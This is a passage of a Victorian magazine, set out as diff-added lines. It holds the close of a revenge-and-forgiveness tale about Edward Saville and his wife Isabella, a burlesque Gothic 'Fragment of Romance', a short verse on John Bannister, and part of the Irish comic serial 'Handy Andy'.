+to know it. These thoughts never affected my brain;--there was no fear
+of that. I thought no longer from the brain;--these thoughts were in my
+heart, and never moved thence.
+
+One evening, as I was ascending the stairs, I overheard the child
+inquiring of one of the servants "who that white-haired gentleman was,
+and why he lived in the house?" I had hitherto refused to see the child;
+but I now rang the bell, and ordered the housekeeper, who constantly
+waited upon me, to bring him to me.
+
+He was much grown since I had last seen him, and was a fine boy. He did
+not know me, and was at first fearful of approaching me; but I induced
+him to sit upon my knee, and, putting his hair from the forehead, asked
+him if he would not give me a kiss. As he lifted his face, and looked
+up at me--that look! his very mother was gazing through those eyes! A
+sudden faintness possessed me. I lifted the child gently from my knee,
+and motioned the housekeeper to take him from my sight. I did not see
+him again.
+
+But there was comfort still:--Hastings was in London,--I was certain of
+it.
+
+And so he was. One night, about a fortnight after my return to town from
+Paris, where I was told he had been seen, and where I had sought him in
+vain, I was proceeding home, baffled in my endeavours to discover him in
+some of his old haunts, which I had ascertained after many and fruitless
+inquiries. I was walking rapidly down a miserable street in the vicinity
+of Clare Market, when a squalid wretch, issuing from a public-house,
+came in contact with me. I think no human being in the world would have
+recognised him but myself. Hideously changed as he was, I knew him
+instantly. The half-shriek that burst from him as he recoiled from me
+showed that he had recognised me also. The struggle was a short one,--I
+had omitted to put my pistols in my pocket on that evening. With what a
+savage triumph, when I had dashed him on the pavement, did I stamp upon
+the prostrate carcass of the groaning wretch! But my joy was brief; for
+I was suddenly seized by three or four men, who held me firmly by the
+arms. I could not get at him. Heedless of my ravings, they assisted the
+miscreant to rise, who, casting one glance of terror towards me, darted
+down an alley, and was lost to me for ever. He had escaped me.
+
+How I reached home I know not. Herbert, who visited me next morning,
+forbade me to rise from my bed. He said my brain was unsettled, and I
+believe it was. But I was well again in a month.
+
+The one idea pervaded my whole being when I arose from my bed. My
+rencontre with Hastings had whetted my appetite for revenge so
+keenly, that no reason, no thought, no feeling could control me. He
+was evidently in a state of the most abject beggary and want. That
+conviction did not disarm me; it rendered me only the more determined
+and inflexible.
+
+I went forth one evening, and with much difficulty discovered the
+public-house from which I had seen him emerge on _that_ night. From the
+landlord I obtained every particular I required to know. Hastings had,
+it seemed, changed his name;--it was now Harris. He resided in one small
+room on the first floor of a house in a filthy court hard by; that is,
+if he had not left the neighbourhood, for the man had not seen him for a
+month past.
+
+It was well. I drank two glasses of brandy, for it was a cold night,
+and proceeded towards my destination. I found it easily. There was a
+light in the window, and, from the reflection of a man's figure on the
+wall, I judged he was at home. The house-door was open, and I entered
+the narrow passage. At that moment I trembled, and for an instant could
+not proceed. No: it was not that which made me tremble; I knew, and was
+prepared for, what I had to do. It was the other,--it was that face
+which I feared I could not bear to behold.
+
+This was, as I have said, the weakness of a moment. I mounted the
+stairs, and burst into the room suddenly. A man and a woman were seated
+at a small fire, who arose abruptly on my entrance. It was not Harris
+and--his wife.
+
+"Where is the man--Hastings?" I exclaimed, addressing the old couple.
+
+As I uttered these words, a loud shriek proceeded from a bed behind
+me, and a female dropt upon the floor. I knew that voice,--I knew it
+well;--but it did not move me.
+
+"Mrs. Harris is ill," said the old woman; "permit us to pass you,
+sir;--it is one of the fits to which she is subject."
+
+I allowed the woman to step by me, who, raising the lifeless form beside
+her, drew it into an adjoining room.
+
+"What do you want, sir? what is your business here?" inquired the man.
+
+I placed one hand into my coat-pocket and grasped a pistol, and with the
+other seized the man by the collar.
+
+"Where is Harris?" said I. "You had best tell me; you are a dead man
+else. He is hid somewhere--he is below, in the house--where is he?"
+
+"He is there," gasped the man; and he pointed towards the bed, upon
+which a body was lying, covered with a linen cloth.
+
+I sank upon a chair. Hastings had indeed escaped me, and for ever. I was
+left alone, for the man had hurried from the room. I cannot describe the
+agony of feeling which I underwent during the next half-hour. I took the
+light, and, walking to the bed, drew the linen cloth from the face of
+the corpse.
+
+How awful! how mysterious is the power of death! The man who had
+insulted, who had wronged, who had betrayed me,--whose ingratitude--of
+all crimes the vilest and the basest--had inverted my very soul,--this
+man lay before me cold, serene, tranquil, miserable, callously
+insensible,--and yet I had no power to curse him. There was no serenity,
+no tranquillity upon the face, when I gazed upon it more closely. The
+brow was corrugated, the cheeks collapsed, and the eyelids sunken; and
+there was the soul's torture, as it left a tortured body impressed upon
+the face. Enough to have mitigated a more implacable hatred than mine!
+
+I left the room, and walked down stairs. As I proceeded along the
+passage, the man whom I had before seen came out of a lower room, and
+opened the door for me. I was about to depart, when he caught me gently
+but firmly by the arm.
+
+"Oh, sir!" said he earnestly, "do not leave the house without seeing
+Mrs. Harris. She has relapsed into another fit; but when she comes to
+herself, it will be a comfort to her to see a friend of her husband. You
+knew him, sir, when living; and for his sake, perhaps--" the man paused
+for a moment, and continued,--"you have a benevolent heart, sir,--I am
+sure you have,--and if you knew all, even though he may have wronged
+you----"
+
+It was an unseasonable time for an appeal of this nature. The passions
+that had been forced back upon my heart had yet scarce begun to subside,
+but I spoke calmly.
+
+"You will tell her Mr. Saville has been here;" and I was going.
+
+"Mr. Saville!" repeated the man. "Oh, sir, we have heard that
+name mentioned frequently of late. You will come again, or send,
+perhaps;--will you not, sir?"
+
+"She will know where to find me, should she wish to see me, which I
+think is hardly probable;" and with a cold "good-night" I left him.
+
+I called upon Herbert on my way home, and told him all that had taken
+place. He was surprised and shocked.
+
+"Saville," said he, after a long pause, during which he had been
+absorbed in reflection, "this cursed affair is destroying you. I am a
+plain man. You may shake your head, and tell me coolly and calmly that
+you have ceased to feel the injury which all the while is preying upon
+you. It is that calmness which I fear most; it will kill you, or worse
+than that,--you understand me. You must pursue this matter no farther.
+The man is dead, and your wife---- Well," he resumed, "I beg your
+pardon; I was wrong to call her by that name. May I speak plainly?"
+
+"You may."
+
+"She is evidently in a state of want--of destitution. This must not be.
+You must allow her--settle upon her--enough to rescue her from poverty
+and its temptations. She must not starve;--I see you could not bear
+that. And you must forget her. It will not do to see a young man like
+yourself sacrificed, self-sacrificed, to the villany of a scoundrel. I
+will say no more, Saville. Vice has too much homage paid to her when an
+honourable man is made her victim."
+
+Herbert was right--he was always so. No, no;--she must not starve. That
+were indeed a miserable triumph to me. I went to my solicitor on the
+next morning, and a deed was made out, settling a competence upon her,
+and I sent with it as much money as she could require for immediate
+exigencies. And I was resolved that I would forget her. The worst was
+past, and time and occupation would do much, and I would think this
+misery down. But the worst was not yet past.
+
+I was informed, one morning, that a woman in the hall desired to
+speak with me. Concluding that she was one of the many persons who
+are accustomed to wait upon the wealthy with petitions, I ordered the
+servant to admit her. A woman meanly dressed, and whose countenance was
+concealed, moved towards me, and sinking upon her knees, with her palms
+pressed together and raised towards me, looked up into my face. Madness
+in me, and misery and famine in her, must have wrought more strongly, if
+that were possible, than they had done, could I have failed to recognise
+that face instantly. Her lips moved,--she would have spoken, but she had
+no power to speak,--and with a deep and heavy groan she fell upon the
+floor before me. I rang the bell violently. A servant entered the room.
+
+"Send Mrs. Martin to me instantly. Mrs. Martin," said I, as the woman
+hastened into the room, "let Dr. Herbert be sent for immediately. You
+must take care of her. See that she wants nothing."
+
+"Gracious God! it is my mistress!" said the woman, as she raised
+her head upon her knee. "You will let her remain in the house, Mr.
+Saville?--in one of the upper rooms?"
+
+"In her own room, Mrs. Martin.--I commit her to you. When she recovers,
+we can make other arrangements."
+
+It is out of the power of fortune or of fate to excite such feelings
+within me now as pressed upon my heart for some days after this scene.
+I thank God for it. Human strength or weakness could not again endure
+so dreadful a conflict of brute passion and of human feeling. That
+piteous face raised to mine would not depart from me. That she should
+kneel,--that she should have been degraded abjectly to crouch before me
+for forgiveness, for pardon, for the vilest pity,--and that I should
+know and feel that the base expiation was the poorest recompense--oh! I
+cannot pursue this farther.
+
+Some days after this,--it was on a Sunday forenoon,--Mrs. Martin entered
+the room. She took a seat opposite to me.
+
+"I am come to speak with you, Mr. Saville," she said.
+
+"Well, madam, proceed."
+
+"Mrs. Saville, my mistress, sir, is dying."
+
+I spoke not for some minutes, although I was not altogether unprepared
+for a communication of this nature.
+
+"You will take the child to her, madam; she will wish to see him."
+
+"Oh, sir, she has seen him every day since she came here, and he is with
+her now. You will not be offended, sir, if I tell you that she has seen
+him many times within the last two years. Yes, sir, when you were----"
+
+"Mad, madam!--speak plainly!--I _was_ mad."
+
+"She came, sir, to me, and fell at my feet, imploring to see the child,
+and I could not refuse her. I could not bear that my mistress should
+kneel to me, and not be permitted to behold her own son;" and here the
+woman wept bitterly.
+
+"It is very well," said I, after a pause; "I do not blame you. It is
+better, perhaps, that it should have been so."
+
+"Could I prevail upon you, sir?" she continued, wiping her eyes; "might
+I be so bold as to hope----"
+
+I anticipated the woman's thoughts.
+
+"She has expressed no wish that I should see her, Mrs. Martin."
+
+"She does not mention your name even to me," said she; "but she must not
+die without seeing you;--she _must_ not, Mr. Saville."
+
+My nature at times was changed from what it had been since I was
+released from the mad-house. I cast a glance at the woman, which she
+understood and feared.
+
+"Mention not this subject again, madam, and leave me. I would be alone."
+
+I was disturbed by what the housekeeper had told me. She was dying. It
+was well. I wished her to die. I felt that until she was dead, my heart
+could not be brought to forgive her.
+
+I walked out, and bent my steps towards the lodging which Hastings had
+formerly occupied. I found the woman of the house at home, and, with
+a calmness which I have since marvelled at, I drew from her all the
+particulars of their sojourn at her house. They had been living with
+her about ten months before the death of Hastings, who, she understood,
+had been entirely deserted by his relations, but why she knew not. About
+a month previous to the decease of Hastings, he came home one night,
+saying that he had been waylaid by a ruffian and much injured, and he
+had never risen from his bed again.
+
+I ventured to ask "if Mr. Harris and his wife lived happily together?"
+
+The woman shook her head. "There was a strange mystery about them," said
+she, "which I never could rightly make out. She was ever gentle and
+obedient; but still there was something unlike a wife, I used to think,
+whenever she addressed him. And he, sir,--poor man! we should not speak
+ill of the dead,--but when he came home--from the gaming-house, we often
+thought--how he used to strike and beat her, telling her to go to her
+Mr. Saville! He was jealous of you, sir, I suppose, but I am certain
+without cause; for she was an angel, sir, if ever angel was born upon
+this earth.--But you are ill, sir. What is the matter?"
+
+"Nothing, nothing," said I, rising suddenly; "I am better now;" and
+pressing my purse upon the woman, I rushed from the house.
+
+God of justice! how dreadful is thy vengeance, and how thou oft-times
+makest the sinner work out his own punishment! I thought not of the wife
+at first,--I thought of Isabella Denham. My heart dwelt upon her once
+more as I had first beheld her at the theatre,--the young, the lovely,
+the innocent being of former days. I remembered when but to see her
+for a moment at the window was happiness unspeakable,--when even the
+pressure of her hand in mine was a blessing and a delight to me. And to
+think that this creature, who had lain in my bosom, who had been tended,
+watched, almost served, with a degree of love akin to idolatry,--who had
+never seen one glance of unkindness from me, who had heard no tone from
+my lips save of affection--too often of foolish weakness;--to think that
+this creature should have become the slave, the drudge,--the spurned and
+beaten drudge of a brutal miscreant,--the thought was too horrible!
+
+I had scarcely entered my own house when Mrs. Martin sought me.
+
+"For mercy's sake, sir!" she said in agitation, "come and take your last
+leave of my mistress. She is dying, and has prayed to see you once more."
+
+I followed her in silence. I met Herbert at the door of the room. "I am
+glad you are come," said he. He was in tears.
+
+"I am too weak, Herbert; am I not?"
+
+He pressed my hand,--"No, no,"--and he left me.
+
+I entered the room, and sat down by her side. She spoke not for some
+minutes.
+
+"I wished to see you once more, Mr. Saville," she said at length in a
+low tone, and without raising her eyes to my face, "to implore, not
+your pardon, for that I dare not expect; but that you will not curse
+my memory when I am gone. You would not, Edward,"--and she tremblingly
+touched my hand as it lay upon the bed,--"if you knew all, or if I could
+tell you all."
+
+I answered something, but I know not what.
+
+"I have been guilty," she resumed, "but I did not meditate guilt. Heaven
+is my witness that I speak the truth. I was betrayed;--and the rest was
+fear, and frenzy, and despair!"
+
+I could conceive that now--I could believe it:--I did believe it,--and I
+was human. I took both her hands in mine: "Look at me, Isabella! look in
+my face!"
+
+She did so, but with hesitation, and as she did so she started.--"Nay,
+we are both altered: but other miseries might have done this. I forgive
+you from my heart and from my soul. As we first met, so shall we now
+part. All shall be forgotten,--all is forgiven. God bless you!"
+
+Those words had killed her. Her eyes dwelt upon me for one moment with
+their first sweetness in them;--a sigh,--and earth alone remained!
+
+
+
+
+               A FRAGMENT OF ROMANCE.
+                  WARRANTED GENUINE.
+
+              [ A young lady who rejoices in
+            the appellation of Czarina Amabelle St. Cloud has
+            addressed a lengthened epistle to us, in which she
+            feelingly deplores the gradual decline and downfall of
+            the Minerva Press. She has favoured us with a catalogue
+            of her unpublished works, and a spirit-stirring extract
+            from her last manuscript romance, which is indeed a
+            masterpiece in a department of literature now unhappily
+            but too much neglected. We willingly subjoin both. For
+            a young lady under twenty years of age, Miss St. Cloud
+            in the most voluminous writer we ever had the pleasure
+            of meeting with.--ED. ]
+
+    CATALOGUE OF MISS ST. CLOUD'S UNPUBLISHED WORKS.
+
+    A Nympholept Lover, or, the Whispering Fungus.
+    Lycanthropy, the Wolfish Exquisite.
+    The Vampyre's Elixir, or, the Undying Wanderer.
+    The Spectre Steam-boat's Monster Supercargo.
+    The Pawned Shadow; a Vision of Invisibility.
+    The Idiot Oracle and the Infant Wizard.
+    Ventriloquism; the Life of a Fratricidal Freemason.
+    Dyke-impia, the Watery Doublegoer.
+    Basiliska, the Snake-eyed Skeleton of Enniskillen.
+    The Last Woman; or, the Parentless Pigmies.
+    Amuletus's Enchanted Chessmen; from the German.
+    Second Sight; or, the Crimson Behemoth.
+    Frozen Echoes; or, Wraithology; a Shetland story.
+    The Evil Ear: a legend of love.
+    Venomgorgia, the Arsenic-eater; a pastoral romance.
+    The Politics of the Gnomes; a satiric allegory.
+    Pestilia, the Plague Perie; or, the Eternal Earthquake.
+    The Fog Fairy; or, a Fire in Fleet-ditch.
+    The Hydra of Hyde Park; or, High-life Eclogues.
+    Aristocratic Atrocities; or, the Banker's Widow.
+    The Fatal Furbelow; or, the Tempted Templar.
+    The Murderous Marchioness of Mesopotamia. With coloured plates.
+    Boadicea at Jaugarnaut; interspersed with Della Cruscan Poetry.
+    Romanzritter and Nomansreden; a tradition of ancient Norwegia.
+
+
+                   _Extract._
+
+"Let the tear of sensibility be wiped for the simple Clotilde, who,
+fresh as an opening zoöphyte, awoke her aged nurse, Fidgita, to prepare
+her for the evening masque; and still the unconscious being warbled,
+
+    "While meekly blends the azure dew,
+      And starry dawn invests the grove,
+    When listening doves in fancy coo,
+      O'er faintest dreams by memory wove;
+    Then shall the blameless brigand bless
+      The suit of his Bohemian fair,
+    Or read in every golden tress
+      The token flowers of India's air!
+        Singing tink a tink, fal lira la,
+            Fal lira la, sing tink a tink!"
+
+"Gramercy!" quoth the garrulous crone, who had numbered ninety summers;
+"will my foster babe mock with troubadour odes, and ballads, and the
+like, one whose every artery hath hardened into a tendon? Hear me,
+wench, and tremble!" In an unearthly and sepulchral tone, she gutturally
+muttered the ancient Runic prophecy--
+
+    "Two children, each of spell-bound mother,
+    Shall meet, and one shall love the other;
+    But mother young, and mother old,
+    Each the blessing shall withhold.
+    When by parent's tooth is child's flesh riven,
+    When by child's hand, parent hurl'd from heaven,
+    Then shall the serfs with joy be tipsy,
+    For then shall the robber espouse the gipsy."
+
+The mysterious Fidgita disappeared. Clotilde pondered o'er the
+prediction. She was, indeed, a natural daughter of a wealthy baron, by
+some beauteous wanderer. The lawless but exemplary idol of her heart
+had rescued herself and nurse from these Tartar hordes, and restored
+her to her father, in whose halls she had been received by the Hebrew
+Duchess Ketura Boaz, and wooed, somewhat against the will of that
+mature enchantress, by the Danish Lord Wooden Murkenhole, whose cause
+Fidgita had warmly espoused. Clotilde still stood, clammily clasping her
+clay-cold hands, as her sportive Grace tripped into the corridor.
+
+"Is the Lady Gunterzwartz turned puritan?" she asked with her wonted wit.
+
+"Not at all," was the dignified reply; for the high patrician blood
+which had descended from the old Romans to our fair papist ill brooked
+the familiarity of the Israelitish dame.
+
+"Lady Clotilde," resumed the Duchess Ketura, playing with the handle of
+the dagger which marked her caste, and which, like other creoles of that
+region and period, she wore stuck in her plaid bonnet, "I must tell your
+ladyship----"
+
+"Nothing about that Wooden Murkenhole!" interrupted Clotilde. "Were he
+a sable pagan Esquimaux bowing to the abominations of Isis, I could not
+regard him with more repugnance."
+
+"Ha!" laughed her Grace of Boaz, "'tis only when Guzman sails his
+gondola beneath the spreading cocoa-trees, and strikes his ganjam to
+the praise of thy charms, that thou art pleased, flirting Tory! Truly,
+friend Clotilde, I little dreamed, an' please you, when, flying from
+the invading Normans, I left the luxurious woods of Dover, and the
+contingent mountains of Cheshire, that I should find thee, my own--no
+matter! so unlike in taste to thy hapless--hush!"
+
+"Oh, Albion!" sighed Clotilde, "decidedly thou must be the queen of
+cities. Thy gallant outlaws and highwaymen will with joy the bride
+of Guzman greet; for, rather than wive the Rosicrucian Murkenhole, I
+will throw myself off Mount Damthopovit, or into the monastery of St.
+Kussanblastre."
+
+"My lovely pupil," said Ketura, "had far better accompany me to the
+munchen-hall, where the kooken-vrow is already serving up the duntarags."
+
+Clotilde followed her friend. What, then, was her amaze at finding the
+phorontrom filled with armed men, headed by the rejected and vindictive
+Wooden! To seize his victim; to place her in the fatal trot-joggeur;
+to drive across the extensive crags of Smashaltobitz; to consign her
+to the dungeons of Glumanough,--was the work of a moment. It was not
+long, however, ere Fidgita apprised the Chevalier Guzman of his lady's
+peril: that nobleman, we may well imagine, lost no time in attempting to
+succour.
+
+We must now return to the chateau. Between those fated women stood the
+unforgiving one.
+
+"Mothers both!" he uttered, pointing jocosely. "Mother, traitress to
+your son, we part no more. Mother, rival to your daughter, Jewess or
+Gingaree, you have lost your Clotilde. Vainly, like your sires, may you
+wander crying Chloe! Chloe! till she too is old Clo--till--"
+
+But we draw the curtain o'er his savage joy. Poison and poignard had
+been pacific penances to those he dealt the Duchess, ere, with delirious
+haste, he ascended with his wretched parent in the aërial car. The Lady
+Ketura, meanwhile, fled to her skiff, which, but for the incantations
+of the wizard Gorius, she could not have steered, her wrists being yet
+stiff from the thumb-screws applied to extort her unutterable secret.
+Thus for weeks did they buffet,--one with ether, the other with the
+waves,--without touching even earth, much less any more palatable food.
+Their squalid tatters spread pestilence around, and the rage of hunger
+gnawed them both.
+
+It was now that the volcano began to spout in tragic lines of liquid
+fire: a furious tempest added shipwreck to the scene. A flaming brand
+from the irruption lighted on the sail,--the conflagration spread,--a
+spiral blaze darted on high,--the roar of combustion announced that it
+had ignited the infernal gas, and the accursed aëronaut was precipitated
+on the shore. Ketura now remembered how she _had_ loved, and crawled to
+kiss the dear perfidious Murkenhole. Bats, toads, lemurs, owls, snails,
+spiders, and other reptilous vermin, slimily beset her loathsome way,
+gibbering with too intelligible triumph; but, leaning her back against a
+rock, and firmly placing her foot before, she shouted, "Come one, come
+all! this rock shall fly from its firm base as soon as Ketura!"
+
+He of the charmed life had fallen unharmed, and, hearing this heroic
+defiance, rushed to consummate his hellish vengeance. But the Duchess
+of Boaz anticipated his asking eye. Madly she dashed her veined
+temples against the jagged rock--all was black darkness. Wooden hurried
+forward,--slipped,--fell. Was it the ocean foam which rendered his path
+precarious? He scooped up some, in the hollow of his hand, to quench
+his burning thirst, and lend him voice for one more vow of hate! Holy
+nature! his slide was formed of Ketura's brain!--'twas that his lip had
+touched. Still, as life ebbed from her gangrenous coagulated wounds, her
+lacerated arms, like crushed vipers, wound their torn muscles round his
+felon knee. With a glare of fury he beheld the demon laughing o'er his
+prey, but, as the master of these forfeit souls, spurned the already
+putrescent masses of still conscious mortality into the turgid sable of
+that yawning gulf: their life-rending shriek awaked the distant bandits,
+who had been deaf to the phenomena of nature. What sight awaits them?
+
+Now all the gods to speed! it is the Steam Beacon of the Railroad, which
+begins to flare in token of their chieftain's victory: and lo! he comes,
+bearing in one hand two papers;--the first, a free pardon for himself
+and gallant band; the second, a restitution of his Italian estates,
+as the rightful Count Cigaro. In his other hand he leads the rescued
+Clotilde, followed by her venerable father Sir Gunterzwartz; and if a
+momentary cloud o'ershadowed their spirits at the memory of the dead, it
+was dissipated on the morrow at the altar of Hymen, where the Druidic
+high-priest, assisted by his patriarchs, conferred the blushing hand of
+Clotilde on the joy-o'erflowed eye of her devoted Guzman; announcing
+to the assembled senate this moral lesson,--that necromancy dislocates
+every vital tie; but that whene'er irregular valour substitutes, in
+favour of injured beauty, the boudoir of bliss for the dungeon of
+despair, there is in such exchange no robbery."
+
+To this we can only add, that Miss St. Cloud and a young gentleman we
+know might write a delightful book between them; and that the sooner
+they form a literary partnership, the better.
+
+
+
+
+                            LINES
+
+  _On seeing "The Young Veteran,"_ JOHN BANNISTER, _toddling up
+      Gower-street, after he had attained his seventieth birthday_.
+
+   WRITTEN BY SIR GEORGE ROSE, AND COMMUNICATED BY J. P. HARLEY, ESQ.
+
+    With seventy years upon his back,
+    Still is my honest friend "Young Jack,"
+    Nor spirits check'd nor fancy slack,
+        But fresh as any daisy.
+    Though Time has knock'd his stumps about,
+    He cannot bowl his temper out;
+    And all the _Bannister_ is stout,
+        Although the STEPS be crazy.
+
+  [Illustration: An Irish Patient]
+
+
+
+
+                       HANDY ANDY.--No. II.
+
+Andy walked out of the room with an air of supreme triumph, having laid
+the letters on the table, and left the squire staring after him in
+perfect amazement.
+
+"Well, by the holy Paul! that's the most extraordinary genius I ever
+came across," was the soliloquy the master uttered as the servant closed
+the door after him; and the squire broke the seal of the letter that
+Andy's blundering had so long delayed. It was from his law-agent, on the
+subject of an expected election in the county which would occur in case
+of the demise of the then-sitting member;--it ran thus:
+
+                 "Dublin, Thursday. MY DEAR
+            SQUIRE.--I am making all possible exertions to have
+            every and the earliest information on the subject of
+            the election. I say the election,--because, though the
+            seat for the county is not yet vacant, it is impossible
+            but that it must soon be so. Any other man than the
+            present member must have died long ago; but Sir Timothy
+            Trimmer has been so undecided all his life that he
+            cannot at present make up his mind to die; and it is
+            only by Death himself giving the casting vote that the
+            question can be decided. The writ for the vacant county
+            is expected to arrive by every mail, and in the mean
+            time I am on the alert for information. You know we
+            are sure of the barony of Ballysloughgutthery, and the
+            boys of Killanmaul will murder any one that dares to
+            give a vote against you. We are sure of Knockdoughty
+            also, and the very pigs in Glanamuck would return you;
+            but I must put you on your guard in one point where
+            you least expected to be betrayed. You told me you
+            were sure of Neck-or-nothing Hall; but I can tell you
+            you're out there; for the master of the aforesaid is
+            working heaven and earth to send us all to h--ll. He
+            backs the other interest; for he is so over head and
+            ears in debt, that he is looking out for a pension,
+            and hopes to get one by giving his interest to the
+            Honourable Sackville Scatterbrain, who sits for the
+            borough of Old Gooseberry at present, but whose friends
+            think his talents are worthy of a county. If Sack wins,
+            Neck-or-nothing gets a pension,--that's _poz_. I had
+            it from the best authority. I lodge at a milliner's
+            here:--no matter; more when I see you. But don't be
+            afraid; we'll bag Sack; and distance Neck-or-nothing.
+            But, seriously speaking, it's a d--d good joke that
+            O'Grady should use you in this manner, who have been
+            so kind to him in money matters; but, as the old song
+            says, 'Poverty parts good company;' and he is so cursed
+            poor that he can't afford to know you any longer, now
+            that you have lent him all the money you had, and the
+            pension _in prospectu_ is too much for his feelings.
+            I'll be down with you again as soon as I can, for I
+            hate the diabolical town as I do poison. They have
+            altered Stephen's Green--_ruined_ it, I should say.
+            They have taken away the big ditch that was round it,
+            where I used to hunt water-rats when a boy. They are
+            destroying the place with their d--d improvements.
+            All the dogs are well, I hope, and my favorite bitch.
+            Remember me to Mrs. Egan, Whom all admire. My dear
+            squire, Your's per quire, "_To Edward Egan, Esq.
+            Merryvale._"
+                                                   MURTOUGH MURPHY.
+
+Murtough Murphy was a great character, as may be guessed from his
+letter. He was a country attorney of good practice;--good, because
+he could not help it,--for he was a clever, ready-witted fellow, up
+to all sorts of trap, and one in whose hands a cause was very safe;
+therefore he had plenty of clients without his seeking them. For,
+if Murtough's practice had depended on his looking for it, he might
+have made broth of his own parchment; for though, to all intents and
+purposes, a good attorney, he was so full of fun and fond of amusement,
+that it was only by dint of the business being thrust upon him he was
+so extensive a practitioner. He loved a good bottle, a good hunt, a
+good joke, and a good song, as well as any fellow in Ireland; and
+even when he was obliged in the way of business to press a gentleman
+hard,--to hunt his man to the death,--he did it so good-humouredly that
+his very victim could not be angry with him. As for those he served,
+he was their prime favourite; there was nothing they _could_ want to
+be done in the parchment line that Murtough would not find out some
+way of doing; and he was so pleasant a fellow, that he shared in the
+hospitality of all the best tables in the county. He kept good horses,
+was on every race-ground within twenty miles, and a steeple-chase was
+no steeple-chase without him. Then he betted freely, and, what's more,
+won his bets very generally; but no one found fault with him for that,
+and he took your money with such a good grace, and mostly gave you
+a _bon-mot_ in exchange for it,--so that, next to winning the money
+yourself, you were glad it was won by Murtough Murphy.
+
+The squire read his letter two or three times, and made his comments as
+he proceeded. "'Working heaven and earth to send us to--' So, that's the
+work O'Grady's at--that's old friendship--d--d unfair: and after all the
+money I lent him too;--he'd better take care--I'll be down on him if he
+plays foul;--not that I'd like that much either;--but--Let's see who's
+this is coming down to oppose me?--Sack Scatterbrain--the biggest fool
+from this to himself;--the fellow can't ride a bit,--a pretty member
+for a sporting county! 'I lodge at a milliner's'--divil doubt you,
+Murtough; I'll engage you do.--Bad luck to him!--he'd rather be fooling
+away his time in a back-parlour, behind a bonnet-shop, than minding the
+interests of the county. 'Pension'--ha!--wants it sure enough,--take
+care, O'Grady, or by the powers I'll be at you.--You may baulk all the
+bailiffs, and defy any other man to serve you with a writ; but, by
+jingo! if I take the matter in hand, I'll be bound I'll get it done.
+'Stephen's Green--big ditch--where I used to hunt water-rats.'--Divil
+sweep you, Murphy! you'd rather be hunting water-rats any day than
+minding your business.--He's a clever fellow for all that. 'Favourite
+bitch--Mrs. Egan.' Ay!--there's the end of it--with his bit o' po'thry
+too! The divil!
+
+The squire threw down the letter, and then his eye caught the other two
+that Andy had purloined.
+
+"More of that stupid blackguard's work!--robbing the mail--no
+less!--that fellow will be hanged some time or other. 'Egad, maybe
+they'll hang him for this! What's best to be done?--Maybe it will be the
+safest way to see who they are for, and send them to the parties, and
+request they will say nothing: that's it."
+
+The squire here took up the letters that lay before him, to read their
+superscriptions; and the first he turned over was directed to Gustavus
+Granby O'Grady, Esq. Neck-or-nothing Hall, Knockbotherum. This was
+what is called a curious coincidence. Just as he had been reading all
+about O'Grady's intended treachery to him, here was a letter to that
+individual, and with the Dublin post-mark too, and a very grand seal.
+
+The squire examined the arms, and, though not versed in the mysteries
+of heraldry, he thought he remembered enough of most of the arms he had
+seen to say that this armorial bearing was a strange one to him. He
+turned the letter over and over again, and looked at it back and front,
+with an expression in his face that said, as plain as countenance could
+speak, "I'd give a trifle to know what is inside of this." He looked at
+the seal again: "Here's a--goose, I think it is, sitting in a bowl, with
+cross-bars on it, and a spoon in its mouth: like the fellow that owns
+it, maybe. A goose with a silver spoon in his mouth! Well, here's the
+gable-end of a house, and a bird sitting on the top of it. Could it be
+Sparrow? There's a fellow called Sparrow that's under-secretary at the
+Castle. D--n it! I wish I knew what it's about."
+
+The squire threw down the letter as he said "d--n it," but took it
+up again in a few seconds, and, catching it edgewise between his
+fore-finger and thumb, gave a gentle pressure that made the letter gape
+at its extremities; and the squire, exercising that sidelong glance
+which is peculiar to postmasters, waiting-maids, and magpies who inspect
+marrow-bones, peeped into the interior of the epistle, saying to himself
+as he did so, "All's fair in war, and why not in electioneering?"
+His face, which was screwed up to the scrutinizing pucker, gradually
+lengthened as he caught some words that were on the last turn-over of
+the sheet, and so could be read thoroughly, and his brow darkened into
+the deepest frown as he scanned these lines: "As you very properly and
+pungently remark, poor Egan is a _bladder_--a mere _bladder_." "I am a
+_bladdher_? by Jasus!" said the squire, tearing the letter into pieces
+and throwing it into the fire. "And so, _Misther_ O'Grady, you say
+I'm a bladdher!" and the blood of the Egans rose as the head of that
+pugnacious family strided up and down the room: "I'll bladdher you, my
+buck,--I'll settle your hash!"
+
+Here he took up the poker, and made a very angry lunge at the fire, that
+did not want stirring, and there he beheld the letter blazing merrily
+away. He dropped the poker as if he had caught it by the hot end, as he
+exclaimed, "What the d--l shall I do? I've burnt the letter!" This threw
+the squire into a fit of what he was wont to call his "considering cap;"
+and he sat with his feet on the fender for some minutes, occasionally
+muttering to himself what he began with,--"What the d--l shall I do?
+It's all owing to that infernal Andy--I'll murder that fellow some time
+or other. If he hadn't brought it, I shouldn't have seen it--to be sure,
+if I hadn't looked; but then the temptation--a saint couldn't have
+withstood it. Confound it! what a stupid trick to burn it. Another here,
+too--must burn that as well, and say nothing about either of them;" and
+he took up the second letter, and, merely looking at the address, threw
+it into the fire. He then rang the bell, and desired Andy to be sent
+to him. As soon as that ingenious individual made his appearance, the
+squire desired him with peculiar emphasis to shut the door, and then
+opened upon him with,
+
+"You unfortunate rascal!"
+
+"Yis, your honour."
+
+"Do you know that you might be hanged for what you did to-day?"
+
+"What did I do, sir?"
+
+"You robbed the post-office."
+
+"How did I rob it, sir?"
+
+"You took two letters you had no right to."
+
+"It's no robbery for a man to get the worth of his money."
+
+"Will you hold your tongue, you stupid villain! I'm not joking: you
+absolutely might be hanged for robbing the post-office."
+
+"Sure I didn't know there was any harm in what I done; and for that
+matther, sure, if they're sitch wondherful value, can't I go back again
+wid 'em?"
+
+"No, you thief! I hope you have not said a word to any one about it."
+
+"Not the sign of a word passed my lips about it."
+
+"You're sure?"
+
+"Sartin."
+
+"Take care, then, that you never open your mouth to mortal about it, or
+you'll be hanged, as sure as your name is Andy Rooney."
+
+"Oh, at that rate I never will. But maybe your honour thinks I ought to
+be hanged?"
+
+"No,--because you did not intend to do a wrong thing; but, only I have
+pity on you, I could hang you to-morrow for what you've done."
+
+"Thank you, sir."
+
+"I've burnt the letters, so no one can know anything about the business
+unless you tell on yourself: so remember,--not a word."
+
+"Faith. I'll be as dumb as the dumb baste."
+
+"Go, now; and, once for all, remember you'll be hanged so sure as you
+ever mention one word about this affair."
+
+Andy made a bow and a scrape, and left the squire, who hoped the secret
+was safe. He then took a ruminating walk round the pleasure-grounds,
+revolving plans of retaliation upon his false friend O'Grady; and
+having determined to put the most severe and sudden measure of the law
